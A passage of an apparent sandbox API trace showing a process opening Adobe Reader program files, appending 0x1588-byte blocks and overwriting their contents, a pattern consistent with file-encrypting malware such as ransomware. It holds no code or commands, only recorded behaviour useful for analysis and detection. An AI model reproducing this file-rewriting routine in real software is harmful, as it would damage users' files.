lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.380] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.CHT", cchWideChar=11, lpMultiByteStr=0x1e631cc, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.CHT", lpUsedDefaultChar=0x0) returned 11 [0041.380] ReadFile (in: hFile=0x1ac, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.402] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x6400 [0041.402] ReadFile (in: hFile=0x1ac, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.413] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x6400 [0041.413] WriteFile (in: hFile=0x1ac, lpBuffer=0x280bd58*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x280bd58*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.413] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0041.413] WriteFile (in: hFile=0x1ac, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.413] CloseHandle (hObject=0x1ac) returned 1 [0041.413] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Search.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\search.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0041.414] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.414] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x3800 [0041.414] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.414] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.414] ReleaseMutex (hMutex=0x128) returned 1 [0041.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.CHT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.CHT", cchWideChar=10, lpMultiByteStr=0x1e6316c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.CHT", lpUsedDefaultChar=0x0) returned 10 [0041.414] ReadFile (in: hFile=0x1ac, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.425] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x2800 [0041.426] ReadFile (in: hFile=0x1ac, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.426] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x2800 [0041.426] WriteFile (in: hFile=0x1ac, lpBuffer=0x2766028*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2766028*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.426] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0041.426] WriteFile (in: hFile=0x1ac, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.426] CloseHandle (hObject=0x1ac) returned 1 [0041.426] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP\\AdobePDF417.pmp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform\\pmp\\adobepdf417.pmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0041.427] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.427] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x1aa00 [0041.427] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.427] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.427] ReleaseMutex (hMutex=0x128) returned 1 [0041.427] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobePDF417.pmp", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0041.427] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobePDF417.pmp", cchWideChar=15, lpMultiByteStr=0x1e62fec, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobePDF417.pmp", lpUsedDefaultChar=0x0) returned 15 [0041.427] ReadFile (in: hFile=0x1ac, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0041.450] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x19a00 [0041.450] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.455] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x19a00 [0041.455] WriteFile (in: hFile=0x1ac, lpBuffer=0x280bd58*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x280bd58*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.456] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0041.456] WriteFile (in: hFile=0x1ac, lpBuffer=0x2809d28*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2809d28*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0041.456] CloseHandle (hObject=0x1ac) returned 1 [0041.456] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\EScript.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\escript.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0041.456] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.456] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x1ab863 [0041.456] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.456] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.457] ReleaseMutex (hMutex=0x128) returned 1 [0041.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.api", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.api", cchWideChar=11, lpMultiByteStr=0x1e630cc, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.api", lpUsedDefaultChar=0x0) returned 11 [0041.457] ReadFile (in: hFile=0x1ac, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x318f278*=0xf000, lpOverlapped=0x0) returned 1 [0041.756] ReadFile (in: hFile=0x1ac, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.757] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1aa863 [0041.757] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.758] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1aa863 [0041.759] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.759] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0041.759] WriteFile (in: hFile=0x1ac, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x318f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.759] WriteFile (in: hFile=0x1ac, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.759] CloseHandle (hObject=0x1ac) returned 1 [0041.759] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0041.760] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.760] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xa00 [0041.760] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.760] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.760] ReleaseMutex (hMutex=0x128) returned 1 [0041.760] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.FRA", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0041.760] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.FRA", cchWideChar=9, lpMultiByteStr=0x1e631cc, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.FRA", lpUsedDefaultChar=0x0) returned 9 [0041.760] ReadFile (in: hFile=0x1ac, lpBuffer=0x1da5328, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da5328*, lpNumberOfBytesRead=0x318f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0041.761] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0041.762] WriteFile (in: hFile=0x1ac, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x318f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0041.762] CloseHandle (hObject=0x1ac) returned 1 [0041.762] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0041.762] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.762] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x2000 [0041.762] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.762] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.762] ReleaseMutex (hMutex=0x128) returned 1 [0041.762] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.CAT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.762] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.CAT", cchWideChar=10, lpMultiByteStr=0x1e6338c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.CAT", lpUsedDefaultChar=0x0) returned 10 [0041.762] ReadFile (in: hFile=0x1ac, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x318f2bc*=0x2000, lpOverlapped=0x0) returned 1 [0041.764] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0041.764] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x318f2d0*=0x2588, lpOverlapped=0x0) returned 1 [0041.764] CloseHandle (hObject=0x1ac) returned 1 [0041.765] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0041.765] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.765] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x1c00 [0041.765] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.765] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.765] ReleaseMutex (hMutex=0x128) returned 1 [0041.765] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.KOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.765] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.KOR", cchWideChar=10, lpMultiByteStr=0x1e631cc, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.KOR", lpUsedDefaultChar=0x0) returned 10 [0041.765] ReadFile (in: hFile=0x1ac, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1c00, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x318f2bc*=0x1c00, lpOverlapped=0x0) returned 1 [0041.767] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0041.767] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x2188, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x318f2d0*=0x2188, lpOverlapped=0x0) returned 1 [0041.770] CloseHandle (hObject=0x1ac) returned 1 [0041.770] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0041.771] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.771] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xa00 [0041.771] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.771] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.771] ReleaseMutex (hMutex=0x128) returned 1 [0041.771] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.DAN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.771] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.DAN", cchWideChar=13, lpMultiByteStr=0x1e6338c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.DAN", lpUsedDefaultChar=0x0) returned 13 [0041.771] ReadFile (in: hFile=0x1ac, lpBuffer=0x1da5328, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da5328*, lpNumberOfBytesRead=0x318f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0041.772] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0041.772] WriteFile (in: hFile=0x1ac, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x318f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0041.772] CloseHandle (hObject=0x1ac) returned 1 [0041.773] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0041.773] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.773] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xa00 [0041.773] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.773] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.773] ReleaseMutex (hMutex=0x128) returned 1 [0041.773] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.NOR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.773] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.NOR", cchWideChar=13, lpMultiByteStr=0x1e631cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.NOR", lpUsedDefaultChar=0x0) returned 13 [0041.773] ReadFile (in: hFile=0x1ac, lpBuffer=0x1da5328, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da5328*, lpNumberOfBytesRead=0x318f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0041.775] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0041.776] WriteFile (in: hFile=0x1ac, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x318f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0041.776] CloseHandle (hObject=0x1ac) returned 1 [0041.776] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0041.776] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.776] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xa00 [0041.776] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0041.776] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.776] ReleaseMutex 